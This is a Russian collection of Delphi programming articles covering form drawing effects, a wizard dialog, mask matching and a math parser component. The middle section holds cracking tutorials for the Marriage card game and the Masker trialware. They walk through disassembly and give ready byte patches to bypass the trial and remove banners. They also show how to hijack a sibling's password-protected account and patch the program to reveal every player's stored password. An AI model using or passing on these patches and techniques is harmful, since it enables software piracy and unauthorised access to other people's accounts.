    sName := cName;    // sName = 'Mosquito' 
  end
 end;

Мраморное окно.

Статьи по Delphi (011)…

Если вам надоели обычные монотонные формы, то эта статья - спасенье для вас!!! Всё, что вам нужно сделать для того, чтобы ваше окно выглядело так же эффектно, как и показанное на рисунке , это только написать несколько строк кода на событие OnPaint (на прорисовку) для вашего подопытного окна:

procedure TForm1.FormPaint(Sender: TObject);
var
  i, j: Integer;
begin
  with Form1.Canvas do
    for j := 0 to Form1.Height do
      for i := 0 to Form1.Width do
        Pixels[i, j] := Trunc(Random($00000095));
end;

С помощью двух циклов мы обошли поверхность окна (канву) и каждому пикселю задали случайный оттенок нужного цвета. (Для тех, кто не знает, ПИКСЕЛЬ - это мельчайшая точка). Цвет задаём 16-ричным кодом, например я указал: $00000095. Получилось весьма неплохо :-)) Вы можете изменить цвет.

Второй способ (более быстрый):

procedure TForm1.FormPaint(Sender: TObject);
var
  h, w, i, j: Integer;
  Rect1, Rect2: TRect;
begin
  h := Form1.Height div 10;
  w := Form1.Width div 10;
  with Form1.Canvas do
  begin
    for j := 0 to h do
      for i := 0 to w do
        Pixels[i,j]:=Trunc(Random($00000095));
    Rect1 := Rect(0, 0, w, h);
    for j := 0 to 9 do
    begin
      for i := 0 to 9 do
      begin
        Rect2 := Rect(w*j, h*i, w*(j+1), h*(i+1));
        CopyRect(Rect2, Form1.Canvas, Rect1);
      end;
    end;
  end;
end;

Исследование Marriage for windows v2.3 по-русски.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

"Знал бы прикуп - Жил бы в Сочи" Все, надеюсь, любят играть в преферанс. Например, я провожу за этим делом больше, чем за исследованием программ (шутка :) Вот попалась мне в руки Windows-версия этой программки и мне сразу понравилась. Но когда я стал понемногу проигрывать, а мой брат, который зарегистрировался и поставил пароль, стал выигрывать, меня начала терзать весёлая мысля: "..." Итак, во-первых мне захотелось поиграть за компьютер, т.е. под одним из имен (рентген, бакалавр...) но когда их выбираешь, то кнопка "Новая Игра" становится недоступной (disable). Будем ломать... ставим бряк bpx EnableWindow do "p ret" - эта функция может сделать enable/disable с почти любым объектом (стандартным и не очень Ж) теперь попытаемся кликнуть на любого компьютерного игрока и вываливаемся в айсе тут (листинг взят из WDasm'a):
:00437EFD E8DAEEFCFF              Call user32.EnableWindow
:00437F02 5B                      pop ebx
:00437F03 C3                      ret
Как видите, функция вложенная, т.е. вызывается откуда-то, поэтому скролим по программе (F10) выходя из вложенных функций (т.е. проходя по ret'am), и очень скоро мы очутимся вот тут:
:004DC350 FF5228                  call [edx+28] <--проверка, кто есть игрок
:004DC353 84C0                    test al, al   <-- если он компьютер
:004DC355 7504                    jne 004DC35B <--то не прыгаем и значит кнопка "Новая игра" disable
:004DC357 33DB                    xor ebx, ebx
:004DC359 EB02                    jmp 004DC35D
:004DC35B B301                    mov bl, 01
:004DC35D 8BD3                    mov edx, ebx
:004DC35F 8B86A0030000            mov eax, dword ptr [esi+000003A0]
:004DC365 8B08                    mov ecx, dword ptr [eax]
:004DC367 FF5160                  call [ecx+60]
:004DC36A 8BD3                    mov edx, ebx  <-- Мы тут
:004DC36C 8B8684030000            mov eax, dword ptr [esi+00000384]
:004DC372 8B08                    mov ecx, dword ptr [eax]
судя по отсутствию поблизости rеt'ов мы вышли из вложенных функций и видим, что по адресу 004DC355 интересный прыжок, убираем все бряки и ставим бряк на этот самый прыжок и выходим из айса. Теперь нажимаем на компьютерного игрока и видим, что прыжок не выполняется, выходим из айса, выбираем своего игрока и в айсе видим, что прыжок выполняется, т.е. нужно заменить jne 004DC35B на jmp 004DC35B и теперь при любом игроке кнопка "Новая игра" будет enable! Теперь можно "поиграть" допустим за "бакалавра", и каждый раз говорить мизер, даже когда нужно говорить 10 БК! Вот это кайф :) (после 10 минут такой игры у бакалавра было около -10000 :) Во-вторых я хотел "поиграть" за своего брата чтобы понизить его ставки, но он поставил пароль, которого я не знаю :( , будем ломать... беру RegMon, запускаю его, запускаю марриаж, создаю нового игрока, ввожу пароль, иду в RegMon и смотрю, куда же марриаж записывает пароли и вижу:
HKEY_LOCAL_MACHINE\Software\Marriage\Users\User2
т.е. программа для каждого юзера создает раздел "user"+номер_юзера. в каждом разделе есть ключ "password" - интересно. Изучать алгоритм шифрования я не стал, я просто скопировал значение ключа "Password" у своего игрока и записал это значение в ключ "Password" у игрока брата :) Теперь оказалось, что у брата стоит мой пароль :) представляю его лицо :) Теперь я "поиграл" за брата, как и с бакалавром и на всякий случай вернул значение его пароля назад. В-третьих мне жутко не нравится реклама, поэтому я отважился убрать всю рекламу в главном окне (там 4 баннера и одна бегущая строка) - Всё равно все эти ссылки на паги в инете есть в Хелпе. Я не стал открывать Америку и искать создание окон, я подумал: раз программа не попакована, написана на делфи, то сам Бог велел использовать программку типа ExeScope, для выдирания и изменения ресурсов. Запускаем ExeScope, идём в раздел Resource, потом открываем раздел RCData, здесь хранится информация обо всех Form'ax программки, причём все свойства этих форм можно править :) После небольших поисков я нашёл в форме TMarriageMain вот что:
object RunString: TPanel;
  судя по названию - это та самая бегущая строка
    Left = 10
    Top = 366
    Width = 677;
  !!!правим длинну окна на 0
    Height = 51;
  !!!и высоту на 0
    BorderWidth = 3
    Caption = 'RunString'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clRed
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    ParentFont = False
    TabOrder = 1
    Visible = False
    object Panel5: TPanel
    Left = 4
      Top = 4
      Width = 669;
    !!!правим длинну окна на 0
      Height = 43;
    !!!и высоту на 0
      Align = alClient
      BevelOuter = bvLowered
      Caption = 'Panel5'
      TabOrder = 0
      object RunLabel1: TRunLabel
      Left = 1
        Top = 1
        Width = 667;
      !!!правим длинну окна на 0
        Height = 41;
      !!!и высоту на 0
        ..........поскипано.........
    end
после того как мы подправили в трёх местах длинну и высоту окна на 0 больше окна с бегущей строкой мы не увидим. Осталось четыре баннера... Я искал хоть какой-нибудь намёк на описание баннеров в ресурсах, но не нашёл и решил ломать в лоб: ставим бряк bpx createwindowExA do "p ret" запускаем марриаж и фигеем, потому как эта функция при запуске вызывается около 200 (!) раз, это не удивительно: стоко ресурсов и написана на делфи. Короче, нам надо словить момент создания окон баннеров, т.е. нам нужен тот createwindowExA после которого появится баннерное окно. Я сделал так: убрал все бряки, запустил марриаж и в тот момент, когда уже появилось главное окно, но ещё не создались окна баннеров (там будет пару секунд времени чтобы успеть), я захожу в айс и ставлю бряк: bpx createwindowExA do "p ret" теперь F5 До тех пор, пока не появится рамка первого баннера (на месте баннера должна появится характерная серая рамка :). и когда мы вывалились в айсе после создания этой самой рамки, то это должно произойти где-то тут:
:00435F33 E8040EFDFF              Call user32.CreateWindowExA
:00435F38 898640010000            mov dword ptr [esi+00000140], eax
:00435F3E 5E                      pop esi
:00435F3F 5B                      pop ebx
:00435F40 C3                      ret
выходи из этой процедуры, оказываемся тут:
:00435E90 83BB4001000000          cmp dword ptr [ebx+00000140], 00000000
:00435E97 7505                    jne 00435E9E
:00435E99 E8C66BFDFF              call 0040CA64
теперь скролим, выходя из вложенных функций, пока не окажемся вот тут:
:004D74B9 E8B6B6F5FF              call 00432B74 <-- проверяем нужны ли баннеры
:004D74BE 8B8614050000            mov eax, dword ptr [esi+00000514]
:004D74C4 85C0                    test eax, eax
:004D74C6 742B                    je 004D74F3 <--если да - НЕпрыгаем
:004D74C8 8B7808                  mov edi, dword ptr [eax+08]
:004D74CB 4F                      dec edi
:004D74CC 85FF                    test edi, edi
:004D74CE 7C23                    jl 004D74F3
:004D74D0 47                      inc edi
:004D74D1 C745FC00000000          mov [ebp-04], 00000000
:004D74D8 8B55FC                  mov edx, dword ptr [ebp-04]
:004D74DB 8B8614050000            mov eax, dword ptr [esi+00000514]
:004D74E1 E88E94F3FF              call 00410974
:004D74E6 8BD3                    mov edx, ebx
:004D74E8 E887B6F5FF              call 00432B74 <--создание окон баннеров (это та самая ф-ия, в котороы сработал бряк)
:004D74ED FF45FC                  inc [ebp-04]
:004D74F0 4F                      dec edi
:004D74F1 75E5                    jne 004D74D8 <--все создали? если нет - прыгаем
как видите, все окна баннеров создаются в цикле, а по адресу 004D74C6 можно этот цикл перепрыгнуть, заменив je 004D74F3 на jmp 004D74F3. Теперь больше не появляются баннеры! Ура! ВсЁ! А для самых ленивых, крак: --------вырезать тут---------- marriage for windows v2.3 CracK by vallkor//PTDS Removes Banners. You can play as Bakalavr. marriage.exe 000DB755: 75 EB 000D68C6: 74 EB -----------и тут------------- Исследовал и наваял туториал: vallkor //PTDS e-mail: vallkor@chat.ru page: http://vallkor.chat.ru

Как узнать пароли игроков в Marriage For Windows v 2.3.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

Инструменты: 1) SoftIce 2) HView Все заядлые игроки в преферанс наверняка сталкивались с этой чудесной реализацией вечной игры. Однако, когда кто-то играет лучше тебя, то хочется ему все испортить, но не тут то было - вход в игру может быть закрыт паролем. А как же его узнать??? В прошлом исследовании мы нашли место, где проверяется введенный нами пароль с тем, который записан в реестре, вот это место:
015F:004C9792  807DFF00            CMP       BYTE PTR [EBP-01],00          <--проверяют совпадают ли длины паролей
015F:004C9796  7447                JZ        004C97DF                      <--если нет - прыжок
015F:004C9798  8D55F0              LEA       EDX,[EBP-10]                   
015F:004C979B  8B45F8              MOV       EAX,[EBP-08]                   
015F:004C979E  8B80DC020000        MOV       EAX,[EAX+000002DC]             
015F:004C97A4  E8B394F6FF          CALL      00432C5C                       
015F:004C97A9  8B45F0              MOV       EAX,[EBP-10]                  <--адрес нашего пароля
015F:004C97AC  8B5374              MOV       EDX,[EBX+74]                  <--адрес правильного пароля
015F:004C97AF  E884A8F3FF          CALL      00404038                      <--сравниваем
015F:004C97B4  750F                JNZ       004C97C5                      <--если равны - НЕ прыгаем
Я обнаружил, что правильный пароль расшифровывается из реестра при запуске программы, т.к. когда я его изменил в памяти, то при следующих попытках ввода пароля мой изменённый пароль принимался за правильный. Нам нужно найти место в программе, где зашифрованная строка расшифровывается. Я нашел это место, (а вы?):
015F:004B0759  8B95ACFCFFFF        MOV       EDX,[EBP-0354]     <--"users\user#"           
015F:004B075F  A188484F00          MOV       EAX,[004F4888]     <--           
015F:004B0764  8B00                MOV       EAX,[EAX]          <--00243745h        
015F:004B0766  B998094B00          MOV       ECX,004B0998       <--"Password"            
015F:004B076B  E88038FAFF          CALL      00453FF0           <--читаем и расшифровываем            
015F:004B0770  8B95B0FDFFFF        MOV       EDX,[EBP-0250]     <--адрес уже расшифрованного пароля            
015F:004B0776  8D4674              LEA       EAX,[ESI+74]       <--            
015F:004B0779  E88235F5FF          CALL      00403D00           <--   
Значит по здесь:
015F:004B0770  8B95B0FDFFFF        MOV       EDX,[EBP-0250]
пароль уже расшифрован. А что если не разгадывать алгоритм шифра, а просто после того, как пароль расшифрован показать его! Итак, будем встраивать свою процедуру. Для этого нужно: 1) по адресу 004B0770 сделать безусловный переход на место, куда мы впишем нашу процедуру:
015F:004B0770  	jmp	004F1C10
2) По адресу 004F1C10 напишем нашу процедуру. 3) востановим затертую прыжком операцию: mov edx,[ebp-0250] 4) в самом конце прыжок назад:
jmp 004B0776
После изменений:
	(1)
.004B076B: E88038FAFF                   call       .000453FF0   -------- (1)
.004B0770: E99B140400                   jmp        .0004F1C10   -------- (2)
.004B0775: 90                           nop
.004B0776: 8D4674                       lea         eax,[esi][00074]
	(2)процедура вывода паролей:
.004F1C10: 8B95B0FDFFFF                 mov         edx,[ebp][0FFFFFDB0]
.004F1C16: 50                           push        eax
.004F1C17: 8D4679                       lea         eax,[esi][00079]
.004F1C1A: 6A00                         push        000
.004F1C1C: 50                           push        eax
.004F1C1D: 52                           push        edx
.004F1C1E: 6A00                         push        000
.004F1C20: E86FF6F0FF                   call        MessageBoxA ;user32.dll
.004F1C25: 83EC10                       sub         esp,010 ;""
.004F1C28: 58                           pop         eax
.004F1C29: 5A                           pop         edx
.004F1C2A: 58                           pop         eax
.004F1C2B: 58                           pop         eax
.004F1C2C: 58                           pop         eax
.004F1C2D: E944EBFBFF                   jmp        .0004B0776   -------- (2)
Теперь программа при запуске показывает MessageBox в заголовке которого имя игрока а в тексте - его пароль. Таких сообщений будет ровно столько, сколько игроков. Если игрок не назначил пароль, то сообщение выводиться не будет. ЗЫ: теперь вы можете всегда узнать пароль другого человека, имея "исправленную" версию marriage.exe Но это делать низзя, т.к. это прямое нарушение авторских прав. А вся эта статья только для того, чтобы обучить вас встраивать свой же код в свои же программы! До следующих встреч. Исследовал и наваял туториал: vallkor //PTDS E-mail: vallkor@chat.ru Page: http://vallkor.chat.ru

Исследование Masker v2.3.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

Вот попалась ко мне в руки эта штуковина, которая может шифровать целые директории средствами RSA. Да так, что больше никто этих папок, кому это просто не положено, не увидит :) Да вот досада: эта программа Триальная, срок триала всего 10 дней, ну чтож будем ломать... Инструменты: 1) Soft-Ice for Win 2) HexEditor (Hview/Qview) Итак, при запуске программы мы обнаруживаем большое окно, которое не ловится ни на CreateWindow, ни на ShowWindow, ни даже на EnableWindow. Наверное программка написана на VB :) Так и есть, в дирректории программки красуется файл Msvbvm50.dll Ну чтож, соберите нервы вместе и поехали: Скажу сразу, не для протокола, что я помучался с этой программкой довольно долго, пытался даже найти и осмыслить процедуру проверки, но когда увидел тонны VВшного кода, то содрагнулся и решил пойти другим путём: Я пошёл влоб, т.е. ставим бряк:
bpx GetModuleFileNameA
это чтобы очутится где-то в начале программы, но не настолько чтобы очень :) Запускаем прогу, почти тут-же вываливаемся в айсе, теперь наша задача выйти (живыми) из всех DLL'ok, делается это просто: жмём F12 около 85 раз, пока не окажемся в модуле MASKER.????, т.е. где-то тут:
:004308DE 3BC3                    cmp eax, ebx
:004308E0 7D12                    jge 004308F4
:004308E2 68A0000000              push 000000A0
:004308E7 68FC2D4100              push 00412DFC
:004308EC 57                      push edi
:004308ED 50                      push eax
теперь трассируем (F10) программку в поисках таких условных переходов (jz/jnz), которые прыгали бы на длинные растояния, т.е. могли бы каким-то образом перепрыгивать процедуру создания напоминающего окна и т.д. Я нашёл первый такой переход вот тут:
:0043FAD5 85C0                    test eax, eax  <--Проверка
:0043FAD7 0F8446010000            je 0043FC23    <--Если ОК - прыгаем
:0043FADD C7458801000000          mov [ebp-78], 00000001
:0043FAE4 C7458002000000          mov [ebp-80], 00000002
как видите, этот условный переход ведёт далеко от текущего eip, здесь меняем je 0043FC23 на jmp 0043FC23 и запускаем программу, но напоминающее окно снова выскакивает, значит нужно найти ещё одну проверку, трассируем дальше программу с того места, где заменили je на jmp и очень скоро мы окажемся тут:
:0043FDA7 FF1598A24600            Call dword ptr [0046A298] <--вызываем какую-то проверку
:0043FDAD 6685DB                  test bx, bx               <--если всё ОК
:0043FDB0 0F8412020000            je 0043FFC8               <--то НЕ прыгаем
:0043FDB6 6808224600              push 00462208
:0043FDBB 68FA000000              push 000000FA
здесь нам нужно заменить je 0043FFC8 на je 0043FDB6 Т.е. даже если мы и прыгнем, то на следующую строку :) Теперь запускаем программу и видим, что окна напоминающего нет и всё пашет как надо. ВсЁ! А для тех, у кого нифига не получилось, готовый крак:
------------вырещать тут----------
MASKER 2.3 crack by vallkor
All Checked :)
masker.exe
0003EED7: 0F E9
0003EED8: 84 47
0003EED9: 46 01
0003EEDA: 01 00
0003EEDC: 00 90
0003F1B0: 0F EB
0003F1B1: 84 04
0003F1B2: 12 90
0003F1B3: 02 90
0003F1B4: 00 90
0003F1B5: 00 90
------------вырещать тут----------
Исследовал и навая туториал: vallkor //PTDS e-mail: vallkor@chat.ru Page: http://vallkor.chat.ru

Поиск слов по маске.

Автор: MBo Может у кого-нибудь есть готовая функция поиска(выборки) слов по маске (с использованием символов '*' и '?').

Такая функция в Дельфи есть: MatchesMask из модуля masks.

Создаем диалог-мастер.

Оформил: DeeCo

Автор: Николай Мазуркин.

В данной статье рассматривается способ создания мастера (Wizard) с использованием средств Delphi и стандартной библиотеки VCL, без установки и использования каких-либо дополнительных компонентов или средств.

Введение

В палитре современных средств для строительства программных интерфейсов особое место занимают интерфейсные диалоги типа "мастер" (в оригинале, на английском, Wizard - "фокусник, волшебник"). Данные элементы широко применяются как самой операционной системой Windows (особенно последние версии Windows 2000, Windows XP), так и многими программами различных производителей программного обеспечения. Во многих случаях использование мастера стало стандартом, например, в программах установки программного обеспечения.

Что же такое мастер? Можно определить мастер, как самоконфигурирующийся диалог управления определенным процессом, который разбивает настройку процесса на несколько этапов с возможностью ветвления, проводит пользователя через эти этапы, указывая только необходимые параметры и избавляя от необходимости тратить внимание на элементы управления, не участвующие в текущем этапе.

Достоинствами мастера перед альтернативными решениями, вроде многостраничного диалога настройки являются следующие факторы. Пошаговый процесс настройки облегчает понимание сути настраиваемого процесса. Мастер показывает только необходимые в данный момент элементы управления, что снижает риск ошибки ввода информации. Мастер, благодаря по-этапному разбитию настроек и малому количеству элементов управления на каждом этапе, позволяет ввести большое количество справочных надписей, рисунков и элементов разбивки, что облегчает понимание и восприятие процесса пользователем.

Пример мастера приведен на следующем рисунке. Это тестовый мастер, который мы будем разрабатывать в рамках данной статьи.

Статьи по Delphi (011)… Практически любой мастер состоит из следующих элементов. "Рекламная" область, которая может располагаться либо слева, либо сверху. Обычно в этой области выводится красивое рекламное изображение, поясняющее назначение данного мастера, либо рекламирующего логотип фирмы-производителя. Расположение этой области сверху более эргономично, так как позволяет вывести еще название текущей странички и краткое пояснение к ней. Такое расположение стало применяется не так давно и выглядит более современным. Область редактирования. Содержит элементы редактирования текущего этапа настройки. Кнопки "Назад" и "Вперед". Позволяют перемещаться по этапам настройки процесса. Кнопка "Отмена". Позволяет в любой момент покинуть диалог настройки.

Представим себе, что мы разрабатываем финансовую программу, результатом которой является таблица с большим количествов записей. Нам необходимо сохранить эту таблицу в формате, указанном пользователем. Формат может быть выбран из множества HTML, XML или TXT. Также у каждого формата существуют свои, специфические настройки.

Решим эту задачу с помощью разработки специального мастера, который позволит пользователю выбрать необходимый формат, указать настройки, и выбрать файл для сохранения отчета.

Схема мастера Прежде чем приступать к кодированию, необходимо продумать структуру будующего мастера: количество и назначение страниц, порядок перехода и конфигурации. Это облегчит работу на последующих этапах, в том числе и на этапе кодирования.

Еще лучше нарисовать всю структуру на бумаге или в графическом редакторе типа Visio. А те кто знаком с графическим языком UML, наверняка предпочтут проработать структуру мастера в виде полноценной Statechart диаграммы в редакторе типа Rational Rose. Подобная визуальная проработка структуры позволит продумать и учесть множество нюансов.

Структура нашего мастера показана на следующем рисунке. Блоками обозначены странички, реализующие этапы настройки. В блоках указано программное имя странички (имя компонента), а цифрой в квадратных скобках показан индекс странички среди всех страничек мастера (подробнее о программной реализации мастера мы поговорим далее). Стрелками показаны переходы между страничками по нажатию кнопок "Назад" и "Вперед". Для тех же, кто понимает язык моделирования UML, можно предложить более детальную схему.

Статьи по Delphi (011)… Видно, что мастер состоит из семи страничек. Назначение каждой из страничек следующее. tsWelcome - стартовая страничка. При запуске мастера пользователь видит именно ее. На этой страничке нет элементов управления, только два текстовых блока. В первом текстовом блоке описывается назначение и порядок работы данного мастера. Во втором тестовом блоке описываются основные принципы работы с мастерами вообще: назначение кнопок "Назад", "Вперед" и "Отмена". Цель этой странички - позволить пользователю психологически расслабиться и обрести уверенность в своих действиях. В принципе, данную страничку можно полностью убрать и дать пользователю возможность сразу приступить к работе. Однако, по мнению автора, наличие такой странички делает любой мастер более "дружественным" и "вежливым" по отношению к пользователю. tsFormat - страничка выбора формата экспорта. После этой странички наступает ветвление, и переход на следующую страничку происходит в соответствии с выбранным форматом. tsFormatHTML - настройка опций при экспортировании отчета в HTML формате. tsFormatXML - настройка опций при экспортировании отчета в XML формате. tsFormatTXT - настройка опций при экспортировании отчета в TXT формате. tsProgress - страничка экспортирования. На данной страничке собственно и происходит экспортирование отчета в соответствии с выбранным форматом. На страничке располагается журнал операций, который позволяет проследить прогресс выполнения экспортирования (если отчет очень большой и экспортирование длится более 1-2 секунд), а также позволяет увидеть всю информацию о возникающих ошибках. При успешном экспортировании управление передается на следующую страничку. tsFinish - страничка, информирующая пользователя об успешном окончании процесса экспортирования. На данной страничке пользователь модет либо завершить работу с мастером, либо экспортировать отчет еще раз, но уже в другом формате (обратите внимание куда ведет стрелка по событию OnBackward).

Будем считать, что мы уже разработали содержание, дизайн и текстовое наполнение каждой из страничек.

Устройство мастера.

Итак, схема мастера уже полностью разработана и нам нужно приступить к непосредственному кодированию.

Прежде чем приступить к рассмотрению вопросов, связанных с кодированием мастера, скачайте и откройте тестовый проект, содержащий полную реализацию проектируемого нами мастера.

<<< Исходный код проекта диалога-мастера

В режиме редактирования наш мастер выглядит следующим образом.

Статьи по Delphi (011)…

Настройка основных элементов мастера показана зеленым цветом. С остальными настройками и расположением элементов вы можете ознакомится сами, используя Object Inspector.

В качестве контейнера для страниц мы будем использовать элемент TPageControl. Для того чтобы убрать выпуклую рамку вокруг элемента переведем его в режим tsButtons. Заголовки страничек позволят нам быстро выбирать нужную страничку для редактирования, однако они будут лишними в рабочем режиме. Чтобы убрать эти заголовки, при создании формы установим у всех элементов TTabSheet свойство TabVisible равным False. Для того чтобы дизайн мастера в рабочем режиме не сильно отличался от дизайна в режиме редактирования, установим минимальную высоту закладок.

В "рекламной" области установим два текстовых элемента, один из которых будет отображать название текущей странички, а другой - краткое пояснение к ней. Чтобы не умножать сущности, название странички будем хранить прямо в ней, в свойстве TTabSheet.Caption, а краткое пояснение в свойстве TTabSheet.Hint (но при этом TTabSheet.ShowHint = False).

Код мастера

По сути, любой мастер - это конечный автомат или state machine, в чистом виде. У него есть внутренние состояние, которое может быть в одном из нескольких положений (один из этапов или страничек). Также есть два события - OnForward и OnBackward, которые переводят этот автомат из одного состояния в другое, в зависимости от дополнительных внутренних настроек или опций. При этом переход определяется исключительно текущим положением и текущими настройками.

Такой подход позволяет прекрасно и понятно описать работу мастера с помощью средств UML, а также анализировать и реализовывать работу мастера с помощью уже готового математического аппарата. Однако, мы не будем залезать в теоретические дебри и реализуем мастер простым способом.

Основной код мастера состоит из трех процедур, являющихся обязательными для каждого мастера.

Процедура ShowPage

Процедура ShowPage активизирует указанную страницу, настраивает кнопки и внешний вид диалога в соответствии с указанной страницей. Эта процедура также копирует текст названия страницы и комментарий к ней из свойств TTabSheet.Caption и TTabSheet.Hint в текстовые поля "рекламной" области.

Можно дополнять и расширять эту процедуру. Например, настраивать дополнительные кнопки, выводить каждый раз новый логотип или информационную картинку в соответствии с выбранной страничкой, проигрывать звуковые файлы и т.д.

////////////////////////////////////////////////////////////////////////////////
// Показываем требуемую страничку
////////////////////////////////////////////////////////////////////////////////
procedure TDialogWizard.ShowPage(PageIndex: Integer);
begin
  // Проверка индекса на допустимость
  if (PageIndex &lt; 0) or (pcWizard.PageCount &lt; = PageIndex) then
    Exit;
  // Установка странички
  pcWizard.ActivePageIndex := PageIndex;
  // Установка параметров заголовка
  lblCaption.Caption := pcWizard.ActivePage.Caption;
  lblHint.Caption := pcWizard.ActivePage.Hint;
  // Настраиваем кнопку "Назад"
  btnBackward.Visible := PageIndex &lt;
  &gt;
  tsWelcome.PageIndex;
  // Настраиваем кнопку "Вперед"
  if PageIndex = tsFinish.PageIndex then
    btnForward.Caption := 'Готово'
  else
    btnForward.Caption := 'Вперед &gt;';
  // Настраиваем кнопку "Отмена"
  btnCancel.Enabled := PageIndex &lt;
  &gt;
  tsFinish.PageIndex;
end;
Обработчик OnForward

Обработчик события OnForward срабатывает каждый раз при нажатии кнопки "Вперед". И, если процедура ShowPage определяет, как выглядит мастер на каждой страничке, то обработчик события OnForward определяетю, что происходит при переходе от одной странички вперед к другой.

По умолчанию, обработчик заменяет текущую страничку следующей, не производя при этом никаких других действий. Однако, для того чтобы реализовать логику нашего мастера, мы должны каждый раз проверять какая страничка находится в данный момент на экране, и какую страничку мы должны выставить следующей.

Обратите внимание, что при уходе с определенных страничек происходит проверка их содержимого на корректность. И, если введенные пользователем данные на страничке некорректны, перехода не происходит.

////////////////////////////////////////////////////////////////////////////////
// Передвигаемся вперед
////////////////////////////////////////////////////////////////////////////////
procedure TDialogWizard.OnForward(Sender: TObject);
begin
  // Это страница выбора формата?
  if pcWizard.ActivePage = tsFormat then
  begin
    // Показываем соответствующую страницу
    if rbtnChooseHTML.Checked then
      ShowPage(tsFormatHTML.PageIndex);
    if rbtnChooseXML.Checked then
      ShowPage(tsFormatXML.PageIndex);
    if rbtnChooseTXT.Checked then
      ShowPage(tsFormatTXT.PageIndex);
    Exit;
  end;
  // Это формат HTML?
  if pcWizard.ActivePage = tsFormatHTML then
  begin
    // Проверка имени файла
    if Trim(edtExportHTML.Text) = '' then
    begin
      edtExportHTML.SetFocus;
      Application.MessageBox('Укажите имя файла', PChar(Caption), MB_OK or
        MB_ICONWARNING);
      Exit;
    end;
    // Очищаем лог
    memLog.Clear;
    ShowPage(tsProgress.PageIndex);
    Exit;
  end;
  // Это формат XML?
  if pcWizard.ActivePage = tsFormatXML then
  begin
    // Проверка имени файла
    if Trim(edtExportXML.Text) = '' then
    begin
      edtExportXML.SetFocus;
      Application.MessageBox('Укажите имя файла', PChar(Caption), MB_OK or
        MB_ICONWARNING);
      Exit;
    end;
    // Очищаем лог
    memLog.Clear;
    ShowPage(tsProgress.PageIndex);
    Exit;
  end;
  // Это формат TXT?
  if pcWizard.ActivePage = tsFormatTXT then
  begin
    // Проверка имени файла
    if Trim(edtExportTXT.Text) = '' then
    begin
      edtExportTXT.SetFocus;
      Application.MessageBox('Укажите имя файла', PChar(Caption), MB_OK or
        MB_ICONWARNING);
      Exit;
    end;
    // Очищаем лог
    memLog.Clear;
    ShowPage(tsProgress.PageIndex);
    Exit;
  end;
  // Это страница экспорта?
  if pcWizard.ActivePage = tsProgress then
  begin
    // Выполняем экспортирование
    if rbtnChooseHTML.Checked then
      if not ExportHTML then
        Exit;
    if rbtnChooseXML.Checked then
      if not ExportXML then
        Exit;
    if rbtnChooseTXT.Checked then
      if not ExportTXT then
        Exit;
    // Переходи на финальную страницу
    ShowPage(tsFinish.PageIndex);
    Exit;
  end;
  // Это финальная страница?
  if pcWizard.ActivePage = tsFinish then
  begin
    ModalResult := mrOK;
    Exit;
  end;
  // Действие по умолчанию - следующая страница
  ShowPage(pcWizard.ActivePageIndex + 1);
end;
Обработчик OnBackward

Обработчик события OnBackward срабатывает каждый раз при нажатии на кнопку "Назад" и, по назначению, аналогичен обработчику OnForward. Данный обработчик определяет, что происходит при уходе со странички в обратном направлении.

////////////////////////////////////////////////////////////////////////////////
// Передвигаемся назад
////////////////////////////////////////////////////////////////////////////////
procedure TDialogWizard.OnBackward(Sender: TObject);
begin
  // Это страница экспорта?
  if pcWizard.ActivePage = tsProgress then
  begin
    // Показываем соответствующую страницу
    if rbtnChooseHTML.Checked then
      ShowPage(tsFormatHTML.PageIndex);
    if rbtnChooseXML.Checked then
      ShowPage(tsFormatXML.PageIndex);
    if rbtnChooseTXT.Checked then
      ShowPage(tsFormatTXT.PageIndex);
    Exit;
  end;
  // Это финальная страница?
  if pcWizard.ActivePage = tsFinish then
  begin
    ShowPage(tsFormat.PageIndex);
    Exit;
  end;
  // Это формат HTML?
  if pcWizard.ActivePage = tsFormatHTML then
  begin
    ShowPage(tsFormat.PageIndex);
    Exit;
  end;
  // Это формат XML?
  if pcWizard.ActivePage = tsFormatXML then
  begin
    ShowPage(tsFormat.PageIndex);
    Exit;
  end;
  // Это формат TXT?
  if pcWizard.ActivePage = tsFormatTXT then
  begin
    ShowPage(tsFormat.PageIndex);
    Exit;
  end;
  // Действие по умолчанию - предыдущая страница
  ShowPage(pcWizard.ActivePageIndex - 1);
end;
Дополнительные советы

Мастер является мощным инструментом реализации настроек сложных процессов и процедур, однако само по себе создание мастера не приводит автоматически к успеху - любой мастер должен быть продуманным, а его использование - оправданным.

Вот несколько дополнительных советов. А нужен ли вообще мастер в вашем случае? Возможно, что настройки процесса просты, а элементы управления гармонично умещаются в одном диалоге. Достигайте компромиса между количеством страничек в мастере и числом управляющих элементов на каждой страничке. Продумайте систему переходов между страничками в прямом и обратном направлении. Лучше, если вы нарисуете визуальную диаграмму переходов. Размещайте на страничках больше информационных текстовых элементов - это поможет пользователю разобраться в процессе, не прибегая к вызову справки. Создавайте в мастере стартовую и финальную страницы. Стартовая страница проинформирует пользователя о сути процесса, а финальная - об успешном (или неуспешном) окончании процесса. Пропорции сторон диалога мастера могут точно или приближенно соответствовать "золотому" сечению - это создаст благоприятный визуальный эффект. Дизайн каждой странички мастера должен быть тщательно проработан. Не забывайте о порядке перехода фокуса между элементами как каждой странички, так и мастера в целом.

Компонент MathParser.

Оформил: DeeCo

Автор: Константин Колганов.

Компонент MathParser разбирает математические выражения и вычисляет их. Математическое выражение может состоять из чисел (целых и действительных), переменных (любая последовательность букв и цифр начинающаяся с буквы), действий арифметики (плюс, минус, умножить, разделить, возвести в степень ), функций (любая последовательность букв и цифр начинающаяся с буквы и заканчивающаяся круглыми скобками) и скобки для задания приоритетов. Переменные и функции чувствительны к регистру. Свойства Expression - тип String, математическое выражение, которое нужно вычислить. Например
x^2+sin(exp(x))-b+2
Variables - тип TStrings, представляет набор переменных и их значений, разделенных знаком =. Например
x=2
b=2
Методы Execute - возвращает значение выражения, при данных значениях переменных. Возвращаемое значение имеет тип Real. Исключения EUntrueSequence - недопустима последовательность символов, например x(3); EUnknownSymbol - недопустимый символ, например @; EUndeclaredIdentifier- неизвестный идентификатор; EUnknownFunction - неизвестная функция; Допустимые символы:
+    -  плюс;
-     - минус;
*    - умножение;
/     - дделение;
^   - возведение в степень;
( )  -скобки;
1..9 - числа;
. или ,- разделитель дробной части;
